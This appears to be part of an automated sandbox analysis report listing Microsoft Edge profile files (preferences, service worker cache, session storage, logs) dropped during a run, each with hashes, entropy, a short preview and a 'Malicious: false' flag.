Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40115.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4293f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF462ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b9a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567782891666883
Encrypted:	false
SSDEEP:	768:3/0C6dWmCW5wiwf4vi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPDOm1IE5DRrwX2UkA:3cxdPCWaiwfmiu1jaMOmr1iLt1
MD5:	B7FAB7B1F15656578D45DEB5D2C83252
SHA1:	CBAEC967AD063C195AE86CFE365105AF2F241DA3
SHA-256:	5CA92F89900745FE3D49CF47E6198AB983A9DD799288C4F457AF0F8ECCDC7FC2
SHA-512:	C0B04B89FE10F9923C888297EE03E268378626E280BE58C9A79B1134211C0319E7971F263ABB6EAF6501C14B7BEA41164AB2E034E93AA4D744E7E4278AC1D131
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376599053629039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376599053629039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f9f1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567782891666883
Encrypted:	false
SSDEEP:	768:3/0C6dWmCW5wiwf4vi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPDOm1IE5DRrwX2UkA:3cxdPCWaiwfmiu1jaMOmr1iLt1
MD5:	B7FAB7B1F15656578D45DEB5D2C83252
SHA1:	CBAEC967AD063C195AE86CFE365105AF2F241DA3
SHA-256:	5CA92F89900745FE3D49CF47E6198AB983A9DD799288C4F457AF0F8ECCDC7FC2
SHA-512:	C0B04B89FE10F9923C888297EE03E268378626E280BE58C9A79B1134211C0319E7971F263ABB6EAF6501C14B7BEA41164AB2E034E93AA4D744E7E4278AC1D131
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376599053629039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376599053629039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839494515731462
Encrypted:	false
SSDEEP:	48:F2em9trdDHfBSXrdw6ghHrdDCBswrdhBH:F1m9txDHGxv8HxDtwxD
MD5:	39F929B4B34CF81007A99949EE50F87C
SHA1:	180F9C2201AE642104E4524BCF864EF85CBC5D54
SHA-256:	E822141183CFB0E6BC24C0AEFD9B9E64B52A0976001B291048E8A1F2AE5E8BC6
SHA-512:	E941845E5084DAA1158430A591274B594410856F03CC634C57C1DCBB9F1C7137B31D27D8A1FC1076C01301F26630F71A6D341DDE391E4A46514588BD2408227F
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..{qm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.066709464176725
Encrypted:	false
SSDEEP:	6:HHIr51N723oH+TcwtE/a252KLlVHIB4SVq2PN723oH+TcwtE/a2ZIFUv:nIFaYeb8xL/I6SVvVaYeb8J2FUv
MD5:	0C833626AB48488C95489997EE9BD4B3
SHA1:	34C1EBEC7094B737E6473085517395838B921E73
SHA-256:	5E7C3D99DF336D1B3F7BFC3F119AFC52455C5C56D39F5914E2CE4C48E54BE308
SHA-512:	466582E6C790D2F076F875E53ACFAA013EBB05E2533FCD3F2B14FDD1CAAC063D2A9E3F7433F6C25FD315D736210A49D9EBBBDC00B36D01FBC22E853F42B5EF3D
Malicious:	false
Preview:	2024/11/20-12:57:52.011 1fa0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-12:57:52.041 1fa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114183
Entropy (8bit):	5.578591722971112
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktoTvi:d9LyxPXfOxr1lMe1nL/CL/TXEmaCu
MD5:	4838349B331624B35AED141D55BB3EF0
SHA1:	81B5090ADAA16E17C9CCC283224190EBE025FBD2
SHA-256:	F1AC8C28E9CD54A508002F5AE59D013A9D423B59A5A3D8CAC1181458C0E5813E
SHA-512:	CDB3F096E6DCB67E91D22F77AD4CE8C57FB63313101A2989032A64FD2F36A099E399E2D556CEA4B30E66258895AF42BB18D04E56D8C0196A91CDB26BE27F71B6
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188657
Entropy (8bit):	6.385044812925281
Encrypted:	false
SSDEEP:	3072:+kBBpwuhM3wPYdZ7lL/RO5MvuI2JmkgfbqHnQd8SP:83w+ZxL/RuIKmkEEg
MD5:	313277CFB663F05FAEC2CCACB4252AE9
SHA1:	9C63D08E89793750A5C646835064B3CA9A57997A
SHA-256:	FEEB39E817E2E0DFCEF20F67E75BC1DC245FA2A1960D6725335E65318D75AE64
SHA-512:	85E67CAA5F5C3F2DA522DB845BF278070B24EEC307EA3C63DE2C91976B5EB52D8798699A42A628651571E32686A1289DC5E732B5DDD781EB8ECD58EB7189E3F6
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc.6.....exports...Rc.g.....module....Rc..}.....define....Rb.~......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.~...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:spVHC0Xl/lUn/lxEYs4EJXPl:spVHNRkEJXPl
MD5:	5352A5ECF763121160F13B4623BC7EAB
SHA1:	328E2328F1D3891F9F6537826EE9DB7BE59B9903
SHA-256:	72A95955DDFAC8D8EE1C42E51F4A60405E7B1F137C65E9F96164E10EAF6BFF89
SHA-512:	13F20D48BBC94D34C4AE35791A9EB7B0379BB83B405B6AABD931E207D36265A585C63D454267BE7DB2DFD53E808B1F9E34FE12EEA2304AAE1B4B9DA4DD220D2F
Malicious:	false
Preview:	@...Y..(oy retne.........................X....,................]..,./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:spVHC0Xl/lUn/lxEYs4EJXPl:spVHNRkEJXPl
MD5:	5352A5ECF763121160F13B4623BC7EAB
SHA1:	328E2328F1D3891F9F6537826EE9DB7BE59B9903
SHA-256:	72A95955DDFAC8D8EE1C42E51F4A60405E7B1F137C65E9F96164E10EAF6BFF89
SHA-512:	13F20D48BBC94D34C4AE35791A9EB7B0379BB83B405B6AABD931E207D36265A585C63D454267BE7DB2DFD53E808B1F9E34FE12EEA2304AAE1B4B9DA4DD220D2F
Malicious:	false
Preview:	@...Y..(oy retne.........................X....,................]..,./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44216.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:spVHC0Xl/lUn/lxEYs4EJXPl:spVHNRkEJXPl
MD5:	5352A5ECF763121160F13B4623BC7EAB
SHA1:	328E2328F1D3891F9F6537826EE9DB7BE59B9903
SHA-256:	72A95955DDFAC8D8EE1C42E51F4A60405E7B1F137C65E9F96164E10EAF6BFF89
SHA-512:	13F20D48BBC94D34C4AE35791A9EB7B0379BB83B405B6AABD931E207D36265A585C63D454267BE7DB2DFD53E808B1F9E34FE12EEA2304AAE1B4B9DA4DD220D2F
Malicious:	false
Preview:	@...Y..(oy retne.........................X....,................]..,./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6759
Entropy (8bit):	3.3780845656351977
Encrypted:	false
SSDEEP:	192:wsYsHyZ58YQ145H1T9XT+xkU6o5SLl9iSrPCO:L76E145H1T9XT+yUt5SLl9iSrK
MD5:	818DBB5176753A2CAAB68C378028C414
SHA1:	F7E9998734A113010989EB733B8CF3EB3737ADC4
SHA-256:	1330B26EB5B8A40760DAF9386CDD5E29EB706A7847CE568CAFEA23B9B60D3525
SHA-512:	BA88B388924E385AA9C1CD9D68D9BDA718A164C8B6CB80A2E40B7AE268A7CB99F247EBCFC04EDE0295F507321538ED48BAB3FA593C2301C7BF402990FF5BB5E2
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............o_FDb................next-map-id.1.Cnamespace-7eeb8961_648e_4378_9e5b_7c304e5336f5-https://ntp.msn.com/.0..#<"................map-0-shd_sweeper.1{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.p.r.g.-.1.s.w.-.s.a.-.q.p.p.c.7.,.p.r.g.-.1.s.w.-.s.a.u.i.e.-.t.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.e.n.c.o.m.b.o.t.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.v.1.7.w.c.c.,.p.r.g.-.1.s.w.-.m.s.n.b.l.u.e.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.t.,.p.r.g.-.1.s.w.-.l.d.n.y.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.1.s.-.n.t.f.1.-.r.d.i.d.n.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.p.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.121060399619244
Encrypted:	false
SSDEEP:	6:HH/lSq2PN723oH+TcwtrQMxIFUt8YH/QgZmw+YH/zxkwON723oH+TcwtrQMFLJ:nYvVaYebCFUt8kD/+kt5OaYebtJ
MD5:	B673BDBCD089318C7FC71560ADA8BC7A
SHA1:	D974F21E747934A4439C4ABC1AB4B3505BC3917D
SHA-256:	867CEE651F20D2ED031F5A0ED312645812B02A0F151E34376CB8261E589D8B74
SHA-512:	CB8039C4C4DFA8F28E38B5EFC388AC7CBF18292B02CD6DEA24B4884A2DE298BA0BAA53293D6775630E89D66A43261F9C4257A78B986DC5BF6DBB16269A782808
Malicious:	false
Preview:	2024/11/20-12:57:35.261 1e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-12:57:35.263 1e90 Recovering log #3.2024/11/20-12:57:35.267 1e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.121060399619244
Encrypted:	false
SSDEEP:	6:HH/lSq2PN723oH+TcwtrQMxIFUt8YH/QgZmw+YH/zxkwON723oH+TcwtrQMFLJ:nYvVaYebCFUt8kD/+kt5OaYebtJ
MD5:	B673BDBCD089318C7FC71560ADA8BC7A
SHA1:	D974F21E747934A4439C4ABC1AB4B3505BC3917D
SHA-256:	867CEE651F20D2ED031F5A0ED312645812B02A0F151E34376CB8261E589D8B74
SHA-512:	CB8039C4C4DFA8F28E38B5EFC388AC7CBF18292B02CD6DEA24B4884A2DE298BA0BAA53293D6775630E89D66A43261F9C4257A78B986DC5BF6DBB16269A782808
Malicious:	false
Preview:	2024/11/20-12:57:35.261 1e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-12:57:35.263 1e90 Recovering log #3.2024/11/20-12:57:35.267 1e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376599056117058

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8178930581296715
Encrypted:	false
SSDEEP:	24:3N2EAkUD+tqW8UsPZPhQXpsAF4unxctLp3X2amEtG1ChqC536Qu7QKkOAM4u:3Ihwt+PKzFKLp2FEkChH36MHOp
MD5:	C501383AC11517DAD8134D8D9C57849A
SHA1:	F02CE36780CCE610D79E4ABEA874869D550BBB29
SHA-256:	FD77C677D3D722988D1347F38C22D22115BFAB0B4042813B3DF0977003F94311
SHA-512:	E84E3DE21CCB853ADF64F6ED1780787992B0042FBF8D7FF4F39B4677D0817904CDBC79BE0ED756600DC3B4EE493F61D4C9D91F433B08C7A21F6EBB49637A3333
Malicious:	false
